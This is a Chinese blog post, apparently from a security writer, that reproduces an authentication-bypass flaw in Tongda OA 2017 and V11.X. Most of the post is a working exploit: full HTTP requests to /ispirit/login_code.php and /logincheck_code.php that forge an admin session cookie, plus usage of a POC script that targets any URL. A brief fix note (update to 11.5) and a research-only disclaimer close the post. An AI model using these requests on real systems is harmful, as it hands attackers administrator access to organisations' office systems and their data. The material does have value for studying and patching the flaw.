新增内容1:范围
今天不是炒冷饭:主要是昨天有个兄弟看了文章后问了一下怎么手动获取cookie,相互交流了一下,觉得还是有必要发一下,这个手工获取cookie的流程。
一、漏洞描述
通达OA是一套办公系统。通达OA官方于4月17日发布安全更新。经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞。攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理员身份登录OA系统。
二、影响版本
通达OA2017、V11.X<V11.5
环境搭建:自行镜像环境搭建(后台回复“tongda”获取环境和POC)
本实验复现环境使用2017版本。
三、漏洞复现
新增内容2:范围2017版本手工获取cookie
方法一:获取cookie
手工获取cookie的PHPSESSID
GET方法访问/ispirit/login_code.php路径
GET /ispirit/login_code.php HTTP/1.1
Host: thelostworld
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;
Connection: close
获取返回回来是否codeuid
HTTP/1.1 200 OK
Server: thelostworld
Date: Wed, 22 Apr 2020 13:29:42 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Content-Length: 239
{"codeuid":"{thelostworld}","authcode":"thelostworld"}
提交数据路径/logincheck_code.php
POST /logincheck_code.php HTTP/1.1
Host: thelostworld
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;
Connection: close
Content-Length: 120
{'codeuid': 'thelostworld', 'uid': '1', 'source': 'pc', 'type': 'confirm', 'username': 'admin'}
注意一定需要前面抓的codeuid
将codeuid、uid、source、type、username写入到会话中
HTTP/1.1 200 OK
Server: thelostworld
Date: Wed, 22 Apr 2020 14:07:44 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 55
{"status":1,"msg":"thelostworld","url":"thelostworld"}
如果是"status":1就存在漏洞,同时本次的Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;就是本次的会话PHPSESSID。
上面两个流程就是整个手工获取Cookie的流程。
方法二:poc获取cookie
详细POC参数
➜ thelostworld git:(master) python3 tongda-oA.py -h
usage: POC.py [-h] [-v {11,2017}] [-url TARGETURL]
optional arguments:
-h, --help show this help message and exit
-v {11,2017}, --tdoaversion {11,2017}
Target TongDa OA Version. e.g: -v 11、-v 2017
-url TARGETURL, --targeturl TARGETURL
Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1
获取SESSIONID
V11.X 版本
python3 POC.py -v 11 -url http://www.XXX.com
2017版本
python3 POC.py -v 2017 -url http://www.XXX.com
抓取数据包替换SESSIONID
四、总结
新增内容3:范围
1、手工获取cookie过程注意URL路径,V11版本参考POC里面路径,期间的cookie不要修改,还有codeuid需要传递多次注意不要改变。
2、漏洞存在判定就是本次将POST的数据包中的内容({‘codeuid’: ‘thelostworld’, ‘uid’: ‘1’, ‘source’: ‘pc’, ‘type’: ‘confirm’, ‘username’: ‘admin’})强行提交写入到session会话中去,返回状态"status":1就是存在漏洞。同时本次的cookie就是POC执行一次返回回来的cookie。
(个人理解,仅做理解参考)
注:本内容里面的codeuid、authcode部分迷糊数据被替换成thelostworld
五、漏洞修复
及时更新11.5版本
(https://www.tongda2000.com/download/sp2019.php)
参考:
https://vas.riskivy.com/vuln-detail?id=33&from=timeline&isappinstalled=0
https://mp.weixin.qq.com/s/aZMRUZ8DCSVmhlC_qoxIWw
后台回复“tongda”获取环境和POC
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
订阅查看更多复现文章、学习笔记
thelostworld
安全路上,与你并肩前行!!!!
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400